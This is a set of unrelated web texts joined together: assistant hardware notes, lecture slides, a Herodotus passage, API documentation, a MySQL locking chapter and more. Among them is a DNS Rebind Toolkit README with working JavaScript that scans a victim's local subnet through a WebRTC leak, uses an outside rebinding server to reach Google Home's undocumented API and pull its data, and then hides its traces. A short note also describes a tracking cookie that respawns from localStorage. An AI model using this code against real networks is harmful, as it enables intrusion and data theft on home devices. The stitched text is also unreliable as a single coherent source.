CMUCLMTK enable Alfred
to generate dictionaries and language models on-the-fly based on the custom module vocabularies.
Mopidy enables streaming from Spotify, for those users who wish to use the module.
The client architecture is organized into six different components.
Main is the main process of Alfred. It sets and creates mic, profile, and conversation instances. Subsequently,
the conversation instance is passed to the mic and profile as inputs, from which it creates a notifier and a brain.
The brain receives the mic and profile from the main and loads all the interactive components into memory.
The brain is essentially the interface between developer-written modules and the core framework.
Each module implements two functions:
In addition to the above functions, a list of defined words helps Alfred to understand if it is the right module to execute or not.
To learn more about how Alfred's interactive modules work and how to write your own, check out the API guide.
Alfred is designed for the Raspberry Pi (Model B) and requires some additional hardware to work. The suggested hardware is listed below:
The Raspberry Pi Verified Peripherals List may be helpful to find substitutes for the products recommended above.
The assembly of the required components is simple and straightforward.
The user only need to insert the microphone, SD card, wireless adapter (if any),
ethernet cable, and speakers into the Raspberry Pi. The USB wall charging adapter is recommended to power Alfred as a standalone device.
The ethernet cable will be used to log into the Raspberry Pi from a computer during the software installation step.
If after the installation the user prefers to use a wireless connection, this cable can be removed.
In fact, Alfred runs just fine on a wired connection (via ethernet),
so the user can choose between the two setups depending on what works best for him/her.
Different services such as Youtube, Spotify, Big Oven's,
Google's services are integrated in the system
through the Dog Gateway,
in order to use the proper API and perform the various tasks in the proper and most efficient way.
If you want to know more about the Alfred project, check out
this link.


---
layout: slides
title: "On parapsychology"
category: hidden
type: course
semester: Fall 2018
college: Wellesley College
permalink: /cognition/parapsychology/
---
# On parapsychology.
???
The study of mental phenomena that are excluded from or inexplicable by orthodox scientific psychology (such as hypnosis, telepathy, etc.).
---
class: center, middle, statement, dark
< recap >
---
class: center, middle, statement, dark
The mind faces many maddeningly hard engineering problems, and we have an arsenal of mental faculties for solving each of them approximately.
---
class: center, middle, statement, dark
We have representations of space, quantity, value, the future, and the past.
---
class: center, middle, statement, dark
We also have representations of objects, time, cause and effect, and other people and their thoughts about other people, &c.
---
class: center, middle, statement, dark
Language comprehension must go beyond learning statistics of transitions between words, given that "Colorless green ideas sleep furiously" is absurd but syntactically unobjectionable.
---
class: center, middle, statement, dark
The organizational framework that linguists and cognitive psychologists use to think about language begins at phonology, and proceeds through morphology, syntax, semantics, and pragmatics.
---
class: center, middle, statement, dark
At each level of the organizational framework are phenomena characteristic of it, including the McGurk effect, cross-culutral differences in phonemic repertoire, generativity (infinite use of finite means), polysemy, indeterminacy of reference, semantic ambiguity, and the four Gricean maxims of conversational cooperation.
---
class: center, middle, statement, dark
Language is also central to several of cognition's great debates, including nativism vs. empiricism, linguistic relativity (the "Sapir-Whorf hypothesis"), and prescriptivism vs. descriptivism.
---
class: center, middle, statement, dark
We need categories for all the reasons Rosch identifies — in particular, that features are correlated across objects.
---
class: center, middle, statement, dark
One theory of what concepts are, the definitional theory, with its intensions and extensions, is lacking because not all categories can be precisely defined, and because some category members are better than others.
---
class: center, middle, statement, dark
Another theory of what concepts are, the prototype theory, suggests that concepts are defined by a prototype and a family resemblance structure among the members.
---
class: center, middle, statement, dark
Categories are organized hierarchically, with basic-level categories, subordinate-level categories, and superordinate-level categories.
---
class: center, middle, statement, dark
Basic-level categories are special, and Rosch delineates their unique properties.
---
class: center, middle, statement, dark
The primacy of basic-level categories may resolve Quine's indeterminacy of reference ("gavagai").
---
class: center, middle, statement, dark
And the shape bias, where the learner assumes that category labels refer to the shape of an object over its surface properties, provides another constraint that helps us to acquire new concepts.
---
class: center, middle, statement, dark
Analogies are not just for standardized exams.
---
class: center, middle, statement, dark
Consider the myriad examples of everyday analogical reasoning described in Hofstadter's chapters, including "sour grapes", "exactly the same thing", and idioms from other languages.
---
class: center, middle, statement, dark
One way to think of analogies is to first "embed" concepts in a metric space, using a technique like multi-dimensional scaling (MDS) or word2vec.
---
class: center, middle, statement, dark
Then the vector (direction and distance) from one concept to another describes how those concepts relate, so if one pair of concepts has the same vector as another, they are analogous.
---
class: center, middle, statement, dark
What is intelligence? There are many ideas, from the ability to acquire and use knowledge, to the ability to think abstractly, to the ability to reason about others, to the ability to quickly determine the essence of a situation.
---
class: center, middle, statement, dark
A popular conceptualization of intelligence breaks down general intelligence ("g") into two factors, crystalized and fluid intelligence, as determined by a factor analysis of task performance.
---
class: center, middle, statement, dark
Intelligence can be meausured via IQ tests such as Raven's Progressive Matrices.
---
class: center, middle, statement, dark
However, the enterprise of meausuring intelligence has a complicated and troubled history, one intertwined with the eugenics movement.
---
class: center, middle, statement, dark
The wisdom of the crowd is the finding that the aggregate decision of a group outperforms the decisions of the individuals within it.
---
class: center, middle, statement, dark
A rule for aggregating individual decisions into a collective decision is an example of a mechanism, and the field of mechanism design studies how to design the rules to induce rational agents to behave in a way that reaches the designer's goals, like an auction that maximizes income.
---
class: center, middle, dark
Some mechanisms cause decison-making to go off the rails, such as when chance alignment between early estimates in a sequence of publicly announced decisions severly biases later decisions in the chain — an information cascade.
---
class: center, middle, dark
And finally, transactive memory is an interpersonal form of memory that allows us to encode and retrieve memories held by others. In interactive cueing, a series of reminders allows the collective to recall something that none of the individuals could alone.
---
class: center, middle, statement, dark
recap >
---
# Administrivia
- Attendance sheet
- Paper checklist has arrived
- Exam #3 on Thursday
---
???
Observer-expectancy effect
---
class: center, middle
???
James Randi
---
class: center, middle
???
- Sense a presence, seeing shapes and figures looming over them.
- Feel pressure on their chest and have trouble breathing
- Floating sensation or out-of-body experiences
---
class: center, middle
???
1. People's experiences are real.
2. The reason is not what they think.
---
# Psi, anomalous retroactive influences on cognition
- Precognition (conscious cognitive awarness)
- Premonition (affective apprehension)
???
Experiments done by Daryl Bem in the psychology department at Cornell
From the participants’ point of view, this procedure appears to
test for clairvoyance. That is, participants were told that a picture
was hidden behind one of the curtains, and their challenge was to
guess correctly which curtain concealed the picture. In fact, however,
neither the picture itself nor its left/right position was determined
until after the participant recorded his or her guess, making
the procedure a test of detecting a future event (i.e., a test of
precognition).
---
class: center, middle
# The decline effect
---
# Some statistical issues
A demo.
- Small sample sizes cause high variability
- Pubication bias
- Inference-dependent stopping rules ("p-hacking")
---
# What do you think?
A discussion.
1. Among phenomena such as ESP, mind-reading, forture telling, mental levitation, alien visions, &c., which is closest to the edge of uncertainty for you?
2. What sort of evidence would it take to convince you one way or the other?
---
class: center, middle
# Fin.


1 While this Psammis was king of Egypt, he was visited by ambassadors from Elis, the Eleans boasting that they had arranged the Olympic games with all the justice and fairness in the world, and claiming that even the Egyptians, although the wisest of all men, could not do better.
2 When the Eleans came to Egypt and announced why they had come, Psammis assembled the Egyptians reputed to be wisest. These assembled and learned all that the Eleans were to do regarding the games; after explaining this, the Eleans said that they had come to learn whether the Egyptians could discover any juster way.
3 The Egyptians deliberated, and then asked the Eleans if their own citizens took part in the contests. The Eleans answered that they did: all Greeks from Elis or elsewhere might contend.
4 Then the Egyptians said that in establishing this rule they fell short of complete fairness: “For there is no way that you will not favor your own townsfolk in the contest and wrong the stranger; if you wish in fact to make just rules and have come to Egypt for that reason, you should admit only strangers to the contest, and not Eleans.” Such was the counsel of the Egyptians to the Eleans.


Lti 3 was succesful and we have this:
iss:
aud:
iat:
exp:
sub:
ltiMessageType:
ltiVersion:
ltiGivenName:
ltiFamilyName:
ltiMiddleName:
ltiPicture:
ltiEmail:
locale:
nonce
lti11LegacyUserId
ltiTargetLinkUrl
Roles, is a list:
ltiRoleScopeMentor, is a list:
ltiResourceLink, is a map:
ltiContext, is a map:
ltiToolPlatform, is a map:
ltiEndpoint, is a map:
ltiNamesRoleService, is a map:
ltiCaliperEndpointService, is a map:
ltiLaunchPresentation, is a map:
ltiExtension, is a map:
ltiCustom, is a map:
SESSION
We added some parameters in the session too:
user_id
user_role
The Lti context id:


Oskar van Deventer's 4-Bit Maze |
Dr. M. Oskar van Deventer is one of the world's most brilliant puzzle creators. His original four-bit maze, according to clickmazes.com, "is electro-mechanical and is driven by a micro-controller. The aim is to press down all the switches. The micro-controller can both pull down and push up switches using springs and four electromagnets." For an image and an applet featuring a variety of rule classifications, see Oskar's Four-Bit Mazes at clickmazes.
Here we will consider only one rule classification from their applet named "Four-bit maze".
Our applet features four buttons, each depicting an on/off state with a light bulb image. Initially all lights are on. The goal is to turn all lights off. With the "Four-bit maze", clicking a button that is "off" has no effect. Clicking a button that is "on" has the effect of turning that button off, but may cause other buttons to turn on/off. In addition to clicking the buttons, you may also click the background next to the buttons to focus key presses to the applet. Then, you may press keys "1", "2", "3", and "4" to more easily press the buttons. "Reset" will reset you to the initial state where all lights are on. "New Maze" will generate a new maze and reset to the initial state.
Although there are only 16 possible states, you may be surprised at how difficult it is to turn off all lights. Observe your tendency to fall into cycles, breaking such cycles only after careful observation. Before reading further, consider how you might solve such mazes.
Such mazes are challenging in part because we find it cognitively difficult to build a "map" of our maze traversal, as compared to a standard pencil and paper maze. Such states are abstract and provide little sense of progress towards the goal. For Oskar's "Four-bit maze" of the clickmazes applet, we might visualize the maze as follows:
A state is represented by a rectangle containing yellow/black circles denoting on/off lights. The initial state is represented with an arrow leading in from nowhere. The goal state is represented with a thick rectangle. Each arrow represents a possible state transition (i.e. change). The arrow leads from the particular light turned off in a source state to the resulting target state. Visualizing a four-bit maze thus, one can much more easily and visually trace a solution path (and thus a solution sequence of actions) backward from the goal to the current state.
Suppose that one cannot visualize the maze (e.g. lacking pencil, paper, or an unusually gifted mind). How might one then approach this challenge?
Some might find it easier to remember sequences of numbers rather than light patterns. Possibly giving such states names (in the form of numbers) might aid in remembering light pattern sequences. Happily, there is an easy correspondence between these states and the numbers 0 through 15. Simply consider the off/on lights to be 0/1 binary digits and mentally associate each state's binary number with its corresponding integer. For the maze visualized above, the initial state would be 15, and the following state sequence would lead to the goal: 15, 14, 12, 4, 10, 3, 1, 0.
Thinking of these as binary digits, it is then natural to number the lights left-to-right as bit numbers 3, 2, 1, and 0, since the corresponding place values in binary are 23, 22, 21, and 20, respectively. Then a more descriptive solution state sequence with parenthesized chosen bits would be as follows 15 (0) 14 (1) 12 (3) 4 (2) 10 (3) 3 (1) 1 (0) 0.
The "Four-bit maze" rule at clickmazes reads, "More than one light may come back on in this maze so it's harder to tell how well you're doing." This is consistent with our specification. However, in Oskar's example maze visualized above, there are two further transition constraints: (1) One light (the one chosen) goes out. (2) At most two other lights come on. We do not constrain the number of lights which may change on/off in a transition. Only the light selected must turn off. Like the example, we further constrain that no two transitions from a source state can lead to the same target state.
With the binary representation in mind, we can now formally specify our four-bit mazes. A four bit maze has states S = {s0, ..., s15} with initial state s15 and goal state s0. A maze state sn is represented by four off/on lights depicting the corresponding binary bits of n from greatest (23) to least (20) significance. A four bit maze has actions A = {a0, ..., a3}, where action an denotes the selection of bit n. Our four-bit maze transition function t : S × A → S has the following constraints:
Let us call the constraints of the last bullet the "reachability" constraints.
Our four-bit maze applet generates its own four-bit mazes with a simple, independently devised algorithm:
Surprisingly, this simple method generally seems to produce good four-bit mazes where roughly half the states are tightly interconnected, while a "solution arm" of the other half of states has a unique sequence leading to the goal, with false steps undoing progress.
The recreational mathematician will find many different interesting questions regarding the space of all possible four-bit mazes, as well as interesting bias effects from different maze generation algorithms. One particular line of research might involve building cognitive models for such maze solving, and using such models to define metrics to measure qualities of four-bit mazes (e.g. perceived difficulty). There are no doubt interesting relations to research in reinforcement learning. The reader is encouraged to introspect on their solution process. One might argue that the most enjoyment lies in the process of learning how to solve such mazes. Enjoy!
Last updated 22 July 2008
Todd Neller


Audience
3.1K
Medium followers
↑ 3.3% (28 days)
1.7K
Twitter followers
↑ 1.7% (28 days)
433
Facebook followers
↑ 12 (28 days)
75
Instagram followers
↑ 6 (28 days)
Total social media followers: 5.3K
Engagement
17.2K
Dev Hub unique visitors
↑ 5.4% (28 days)
62.7K
Tweet impressions (28 days)
↓ -47.8%
100
Twitter mentions (28 days)
↓ -20
180
Facebook reach
‒ 0 (28 days)
40
Facebook engagements (28 days)
↓ -3
41.8K
Medium views (30 days)
↓ -12.6%
Total impressions/views: 104.5K
Open Source & Support
49
Github repositories
302
Github stars
74
Github forks
34
Open issues
3
Time to close issues (months, avg)
6
Stack Overflow estimated questions asked (28 days)
4
Stack Overflow answers/comments given (28 days)
Recent Github Pull Requests (3)
- w3c/test-results: Add Samsung Internet results for Payment Request by poshaughnessy
Medium Blog
— Minutes read
— Views
— Visitors
Search Terms
Surveys
Twitter poll
■ Not aware of Samsung Internet
■ Aware of Samsung Internet
Source: Peter's Twitter poll, April 2018
Events feedback
■ Not aware of Samsung Internet
■ Aware of Samsung Internet


--- layout: compress --- {% include head.html %}
{{ site.description }}
© 2006-{{ site.time | date: '%Y' }} {{ site.author.name }} - all rights reserved.VAT number:<PHONE_NUMBER>8. My blog code


Constructor
new LRUArray(size, comparer)
Parameters:
| Name | Type | Description |
|---|---|---|
size |
Number | The maximum size of the array |
comparer |
function | A function that takes two arguments and returns two if the arguments are equal (default: a - b) |
Methods
count()
Return the element count
getArray() → {Array(*)}
Return the contents as a reference;
Returns:
- Type
- Array(*)
put(value)
Put a value into the array.
Parameters:
| Name | Type | Description |
|---|---|---|
value |
* | Put a value into the array. If it was seen before it will be moved to the front. If there is no more space then least recently put value will be removed. |


“You know you have a distributed system when the crash of a computer you've never heards of stops you from getting any work done.” (Leslie Lamport)
Vert.x applications can be developed using
A toolkit to build distributed systems
Build distributed systems:
Build reactive distributed systems:
// Synchronous development model
X x = doSomething(a, b);
// Asynchronous development model - callback variant
doSomething(a, b, // Params
ar -> { // Last param is a Handler<AsyncResult<X>>
// Result handler
});
// Asynchronous development model - future variant
Future<X> future = doSomething(a, b);
future.setHandler(
ar -> { /* Completion handler */ });
HTTP, TCP, RPC...
Vertx vertx = Vertx.vertx();
vertx.createHttpServer()
.requestHandler(request -> {
// Handler receiving requests
request.response().end("World !");
})
.listen(8080, ar -> {
// Handler receiving start sequence completion (AsyncResult)
if (ar.succeeded()) {
System.out.println("Server started on port "
+ ar.result().actualPort());
} else {
ar.cause().printStackTrace();
}
});
HttpClient client = vertx.createHttpClient(
new HttpClientOptions()
.setDefaultHost("localhost")
.setDefaultPort(8081));
client.getNow("/", response -> {
// Handler receiving the response
// Get the content
response.bodyHandler(buffer -> {
// Handler to read the content
});
});
The eventbus - the spine of Vert.x applications...
The event bus is the nervous system of vert.x:
Handler
s.
vertx.eventBus().send("address", "message");
vertx.eventBus().consumer("address", message -> {});
vertx.eventBus().publish("address", "message");
vertx.eventBus().consumer("address", message -> {});
vertx.eventBus().send("address", "message", reply -> {});
vertx.eventBus().consumer("address",
message -> { message.reply("response"); });
Vert.x instances form a cluster
Vertx.clusteredVertx(new VertxOptions(), result -> {
if (result.failed()) {
System.err.println("Cannot create a clustered vert.x : "
+ result.cause());
} else {
Vertx vertx = result.result();
// ...
}
});
The event bus is distributed on all the cluster members
Almost anything can send and receive messages
Let's have a java (Vert.x) app, and a node app sending data just here:
Don't be fool, be prepared to fail
It's not about being bug-free or bullet proof,
we a humans.
It's about being prepared to fail,
and handling these failures.
Distributed communication may fail
AsyncResult
lets us manage these failures:
doSomethingAsync(param1, param2,
ar -> {
if (ar.failed()) {
System.out.println("D'oh, it has failed !");
} else {
System.out.println("Everything fine ! ");
}
});
Adding timeouts
vertx.eventbus().send(..., ...,
new DeliveryOptions().setSendTimeout(1000),
reply -> {
if (reply.failed()) {
System.out.println("D'oh, he did not reply to me !");
} else {
System.out.println("Got a mail " + reply.result().body());
}
});
cb.executeWithFallback(future -> {
// Async operation
client.get("/", response -> {
response.bodyHandler(buffer -> {
future.complete("Ola " + buffer.toString());
});
})
.exceptionHandler(future::fail)
.end();
},
// Fallback
t -> "Sorry... " + t.getMessage() + " (" + cb.state() + ")"
)
// Handler called when the operation has completed
.setHandler(content -> /* ... */);
In High-Availability mode, verticles deployed on a node that crashes are redeployed on a sane node of the cluster.
Be prepared to be famous
When several consumers listen to the same address, Vert.x dispatches the sent messages using a round robin.
So, to improve the scalability, just spawn a new node!
end();
But the first step on the Vert.x path


| < Day Day Up > |
2.2 Locking and ConcurrencyThe first of those problems is how to deal with concurrency and locking. In any data repository you have to be careful when more than one person, process, or client needs to change data at the same time. Consider, for example, a classic email box on a Unix system. The popular mbox file format is incredibly simple. Email messages are simply concatenated together, one after another. This simple format makes it very easy to read and parse mail messages. It also makes mail delivery easy: just append a new message to the end of the file. But what happens when two processes try to deliver messages at the same time to the same mailbox? Clearly that can corrupt the mailbox, leaving two interleaved messages at the end of the mailbox file. To prevent corruption, all well-behaved mail delivery systems implement a form of locking to prevent simultaneous delivery from occurring. If a second delivery is attempted while the mailbox is locked, the second process must wait until it can acquire the lock before delivering the message. This scheme works reasonably well in practice, but it provides rather poor concurrency. Since only a single program may make any changes to the mailbox at any given time, it becomes problematic with a high-volume mailbox, one that receives thousands of messages per minute. This exclusive locking makes it difficult for mail delivery not to become backlogged if someone attempts to read, respond to, and delete messages in that same mailbox. Luckily, few mailboxes are actually that busy. 2.2.1 Read/Write LocksReading from the mailbox isn't as troublesome. There's nothing wrong with multiple clients reading the same mailbox simultaneously. Since they aren't making changes, nothing is likely to go wrong. But what happens if someone tries to delete message number 25 while programs are reading the mailbox? It depends. A reader could come away with a corrupted or inconsistent view of the mailbox. So to be safe, even reading from a mailbox requires special care. Database tables are no different. If you think of each mail message as a record and the mailbox itself as a table, it's easy to see that the problem is the same. In many ways, a mailbox is really just a simple database table. Modifying records in a database table is very similar to removing or changing the content of messages in a mailbox file. The solution to this classic problem is rather simple. Systems that deal with concurrent read/write access typically implement a locking system that consists of two lock types. These locks are usually known as shared locks and exclusive locks, or read locks and write locks. Without worrying about the actual locking technology, we can describe the concept as follows. Read locks on a resource are shared: many clients may read from the resource at the same time and not interfere with each other. Write locks, on the other hand, are exclusive, because it is safe to have only one client writing to the resource at given time and to prevent all reads when a client is writing. Why? Because the single writer is free to make any changes to the resource—even deleting it entirely. In the database world, locking happens all the time. MySQL has to prevent one client from reading a piece of data while another is changing it. It performs this lock management internally in a way that is transparent much of the time. 2.2.2 Lock GranularityOne way to improve the concurrency of a shared resource is to be more selective about what is locked. Rather than locking the entire resource, lock only the part that contains the data you need to change. Better yet, lock only the exact piece of data you plan to change. By decreasing the amount of data that is locked at any one time, more changes can occur simultaneously—as long as they don't conflict with each other. The downside of this is that locks aren't free. There is overhead involved in obtaining a lock, checking to see whether a lock is free, releasing a lock, and so on. All this business of lock management can really start to eat away at performance because the system is spending its time performing lock management instead of actually storing and retrieving data. (Similar things happen when too many managers get involved in a software project.) To achieve the best performance overall, some sort of balance is needed. Most commercial database servers don't give you much choice: you get what is known as row-level locking in your tables. MySQL, on the other hand, offers a choice in the matter. Among the storage engines you can choose from in MySQL, you'll find three different granularities of locking. Let's have a look at them. <IP_ADDRESS> Table locksThe most basic and low-overhead locking strategy available is a table lock, which is analogous to the mailbox locks described earlier. The table as a whole is locked on an all-or-nothing basis. When a client wishes to write to a table (insert, delete, or update, etc.), it obtains a write lock that keeps all other read or write operations at bay for the duration of the operation. Once the write has completed, the table is unlocked to allow those waiting operations to continue. When nobody is writing, readers obtain read locks that allow other readers to do the same. For a long time, MySQL provided only table locks, and this caused a great deal of concern among database geeks. They warned that MySQL would never scale up beyond toy projects and work in the real world. However, MySQL is so much faster than most commercial databases that table locking doesn't get in the way nearly as much as the naysayers predicted it would. Part of the reason MySQL doesn't suffer as much as expected is because the majority of applications for which it is used consist primarily of read queries. In fact, the MyISAM engine (MySQL's default) was built assuming that 90% of all queries run against it will be reads. As it turns out, MyISAM tables perform very well as long as the ratio of reads to writes is very high or very low. <IP_ADDRESS> Page locksA slightly more expensive form of locking that offers greater concurrency than table locking, a page lock is a lock applied to a portion of a table known as a page. All the records that reside on the same page in the table are affected by the lock. Using this scheme, the main factor influencing concurrency is the page size; if the pages in the table are large, concurrency will be worse than with smaller pages. MySQL's BDB (Berkeley DB) tables use page-level locking on 8-KB pages. The only hot spot in page locking is the last page in the table. If records are inserted there at regular intervals, the last page will be locked frequently. <IP_ADDRESS> Row locksThe locking style that offers the greatest concurrency (and carries the greatest overhead) is the row lock. In most applications, it's relatively rare for several clients to need to update the exact same row at the same time. Row-level locking, as it's commonly known, is available in MySQL's InnoDB tables. InnoDB doesn't use a simple row locking mechanism, however. Instead it uses row-level locking in conjunction with a multiversioning scheme, so let's have a look at that. 2.2.3 Multi-Version Concurrency ControlThere is a final technique for increasing concurrency: Multi-Version Concurrency Control (MVCC). Often referred to simply as versioning, MVCC is used by Oracle, by PostgreSQL, and by MySQL's InnoDB storage engine. MVCC can be thought of as a new twist on row-level locking. It has the added benefit of allowing nonlocking reads while still locking the necessary records only during write operations. Some of MVCC's other properties will be of particular interest when we look at transactions in the next section. So how does this scheme work? Conceptually, any query against a table will actually see a snapshot of the data as it existed at the time the query began—no matter how long it takes to execute. If you've never experienced this before, it may sound a little crazy. But give it a chance. In a versioning system, each row has two additional, hidden values associated with it. These values represent when the row was created and when it was expired (or deleted). Rather than storing the actual time at which these events occur, the database stores the version number at the time each event occurred. The database version (or system version) is a number that increments each time a query[1] begins. We'll call these two values the creation id and the deletion id.
Under MVCC, a final duty of the database server is to keep track of all the running queries (with their associated version numbers). Let's see how this applies to particular operations:
The result of all this extra record keeping is that read queries never lock tables, pages, or rows. They simply read data as fast as they can, making sure to select only rows that meet the criteria laid out earlier. The drawbacks are that the server has to store a bit more data with each row and do a bit more work when examining rows. Table 2-1 summarizes the various locking models and concurrency in MySQL.
|
| < Day Day Up > |


“In elementary geometry, a polytope is a geometric object with flat sides, which exists in any general number of dimensions. Wikipedia”


Get Involved
Become a part of our journey. Join Us
We are an equal opportunity employer and value diversity in all forms.
We believe good ideas can come from anyone, anywhere, at any time. We want team members with diverse backgrounds and life experiences to help us find innovative solutions to problems. We are united in our passion to make the world a better place and we do not discriminate on the basis of race, religion, color, national origin, gender, sexual orientation, age, marital status, veteran status, or disability status.
Life at Rakshan Foundation
Best job I've ever had.
Everyone here is passionate about their work, incredibly smart, and genuinely kind. After having worked for a major consulting firm, it's so great to have a job where I know what I'm doing is making the world a better place. Rakshan Foundation actually lives their values and has them as a meaningful part of their day-to-day operations. It’s a breath of fresh air!
Best Team, Mission-Driven, Fun!
I loved working at RG.  The team is so innovative, so drive, and everyone loves and believes in the mission. Rakshan Foundation does right by people and good in the world. It did a phenomenal job during COVID.
Rakshan Foundation is my Second Family.
I love waking up every morning to come into work because I know I will be met with smiles and genuine interest in what I did over the weekend or how I am doing. Half the time it doesn’t even feel like work. I just sit in an open office with all my friends trying to change the world.
Help us create the next generation of peacemakers
Your donations make our work possible. Because of you, our work can continue.


- Click on any of the time slots to add events to your schedule.
- After adding an event make sure you press the corresponding 'Save Button' to the right of the text area.
- The default display shows 9:00 AM to 5:00 PM, but by clicking the 'Set Workday Hours' button you can choose any time-frame you want.
- This schedule also has a Drag and Drop feature, so if you want to change the time of an event you already added, click and hold the 'Save Button', then drag the item to the new timeslot and the change will automatically save.
- Have fun and be productive!


DNS Rebind Toolkit
DNS Rebind Toolkit is a utility library that automates the process of executing DNS rebinding attacks. Once you’ve written a JavaScript payload to target a specific service, DNS Rebind Toolkit can help you deploy that attack on a victim’s network.
- It uses a WebRTC IP address leak to discover the victim’s local IP address.
- It automates network subnet enumeration so that you can target devices even if you don’t know their IP addresses on the private network.
- It automates the DNS rebinding portion of the attack. You get a Promise that resolves once the rebind has finished.
- It uses whonow behind the scenes so that you don’t have to worry about the DNS server component of a DNS rebinding attack.
- It comes with several payloads for attacking common IoT devices and well-documented examples so that you learn to write your own exploits.
Launching an attack against a Google Home device on a <IP_ADDRESS>/24 subnet is as easy as embedding a code snippet in and index.html page.
// JS in index.html
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work
// No biggie, most home networks are <IP_ADDRESS>/24 anyway.
launchRebindAttack('<IP_ADDRESS>')
})
function launchRebindAttack(localIp) {
// convert <IP_ADDRESS> into array from <IP_ADDRESS> - <IP_ADDRESS>
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// Google Home's undocumented HTTP API server runs on port 8008
const rebind = new DNSRebindAttack('rebind.network', 8008)
// Launch a DNS Rebind attack, spawning 255 iframes
rebind.attack(ips, '<IP_ADDRESS>', 'payload/google-home.html')
}
That index.html file will launch the attack, spawning one iframe for each IP address in the array passed to rebind.attack(…). Each iframe embeds payloads/google-home.html with the following JavaScript snippet:
// JS in payloads/google-home.html
attack()
.then((json) => {
console.log('The attack was successful! Here is the JSON it exfiltrated:')
console.log(json)
},
err => {
// there probably isn't even a machine with this IP address...
console.error('No Google Home found at this IP ')
}
)
// remove the iframe from index.html once the attack is complete.
// Leave no trace ;)
.then(() => DNSRebindNode.destroy())
async function attack() {
// a helper function that returns some fetch() options configured with
// certain useful headers
const getOptions = DNSRebindNode.fetchOptions()
try {
const opts = { fetchOptions: getOptions }
return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())
} catch (err) {
return Promise.reject(err)
}
}


Namespaces |
Classes | |
| class | LocalNotificationManager |
| Manages LocalNotificationPresenters and associated logic. More... | |
| class | LocalNotificationPresenter |
| The base class for a control that functions as a local notification. More... | |
Enumerations | |
| enum | LocalNotificationCollisionBehaviour { LocalNotificationCollisionBehaviour.Wait, LocalNotificationCollisionBehaviour.Replace } |
| Specifies the way in which a collision between two local notifications (i.e. attempting to show one which the other still persists) is handled. More... | |
| enum | LocalNotificationState { LocalNotificationState.Hidden, LocalNotificationState.Hiding, LocalNotificationState.Showing, LocalNotificationState.Shown, LocalNotificationState.Restoring } |
| Specifies the state of a LocalNotificationPresenter. More... | |
Specifies the way in which a collision between two local notifications (i.e. attempting to show one which the other still persists) is handled.
Specifies the state of a LocalNotificationPresenter.
| Enumerator | |
|---|---|
| Hidden | The LocalNotificationPresenter being hidden from view, and the user not being able to interact with it. |
| Hiding | The LocalNotificationPresenter transitioning to the LocalNotificationState.Hidden state from being shown. |
| Showing | The LocalNotificationPresenter transitioning to the LocalNotificationState.Shown state from being hidden. |
| Shown | The LocalNotificationPresenter being displayed, awaiting user interaction or to be hidden. |
| Restoring | The LocalNotificationPresenter transitioning to the LocalNotificationState.Shown state, but not from being hidden. |


If you clear the cookie and refresh the page should realise that you have a localStorage reference and try and recreate the cookie. If you have a cookie and clear the localStorage reference the page should try and recreate the localStorage. To be rid of it you'll have to clear both at the same time.


class Subnet::IPv6
- Subnet::IPv6
- Reference
- Object
Overview
Class Subnet::IPv6 is used to handle IPv6 type addresses.
IPv6 addresses
IPv6 addresses are 128 bits long, in contrast with IPv4 addresses which are only 32 bits long. An IPv6 address is generally written as eight groups of four hexadecimal digits, each group representing 16 bits or two octect. For example, the following is a valid IPv6 address:
2001:0db8:
Letters in an IPv6 address are usually written downcase, as per RFC. You can create a new IPv6 object using uppercase letters, but they will be converted.
Compression
Since IPv6 addresses are very long to write, there are some semplifications and compressions that you can use to shorten them.
- Leading zeroes: all the leading zeroes within a group can be omitted: "0008" would become "8"
- A string of consecutive zeroes can be replaced by the string "::". This can be only applied once.
Using compression, the IPv6 address written above can be shorten into the following, equivalent, address
2001:db8::8:800:200c:417a
This short version is often used in human representation.
Network Mask
As we used to do with IPv4 addresses, an IPv6 address can be written using the prefix notation to specify the subnet mask:
2001:db8::8:800:200c:417a/64
The /64 part means that the first 64 bits of the address are representing the network portion, and the last 64 bits are the host portion.
Included Modules
- Comparable(Subnet)
- Enumerable(Subnet::IPv6)
- Iterator(Subnet::IPv6)
- Subnet
Direct Known Subclasses
Defined in:
subnet/ipv6.crConstant Summary
-
IN6FORMAT =
("%04x:" * 8).chomp(':')
-
Format string to pretty print IPv6 addresses
Constructors
-
.new(str : String)
Creates a new IPv6 address object.
- .new(value : JSON::PullParser) : Subnet::IPv6
Class Method Summary
-
.compress(str)
Compress an IPv6 address in its compressed form
-
.expand(str)
Expands an IPv6 address in the canocical form
-
.groups(str)
Extract 16 bits groups from a string
-
.parse_data(data)
Creates a new IPv6 object from binary data, like the one you get from a network stream.
-
.parse_hex(hexstring, prefix = 128)
Creates a new IPv6 object from a number expressed in hexdecimal format:
-
.parse_u128(u128, prefix = 128)
Creates a new IPv6 object from an unsigned 128 bits integer.
Instance Method Summary
-
#<=>(oth)
Spaceship operator to compare IPv6 objects
-
#[](index)
Returns the 16-bits value specified by index
-
#[]=(index, value)
Updated the octet specified at index
-
#address : String
Returns the IPv6 address in uncompressed form:
-
#allocate(skip = 0)
Allocates a new ip from the current subnet.
-
#arpa
Returns the IPv6 address in a DNS reverse lookup string, as per RFC3172 and RFC2874.
-
#bits
Returns the address portion of an IP in binary format, as a string containing a sequence of 0 and 1
-
#broadcast_u128
Returns the broadcast address in Unsigned 128bits format
-
#compressed : String
Compressed form of the IPv6 address
-
#data
Returns the address portion of an IPv6 object in a network byte order format.
-
#each(&block)
Iterates over all the IP addresses for the given network (or IP address).
-
#group(index)
Returns the 16-bits value specified by index
-
#groups : Array(Int32)
Returns an array with the 16 bits groups in decimal format:
-
#hex_groups
Returns an array of the 16 bits groups in hexdecimal format:
-
#hexstring
Returns a Base16 number representing the IPv6 address
-
#includes?(oth)
Checks whether a subnet includes the given IP address.
-
#link_local?
Checks if an IPv6 address objects belongs to a link-local network RFC4291
-
#literal
Literal version of the IPv6 address
-
#loopback?
Returns true if the address is a loopback address
-
#mapped?
Returns true if the address is a mapped address
-
#network
Returns a new IPv6 object with the network number for the given IP.
-
#network?
True if the IPv6 address is a network
-
#network_u128
Returns the network number in Unsigned 128bits format
-
#next
Returns the next IP address in the network, or
Iterator::Stop::INSTANCE
when out of addresses. -
#pred
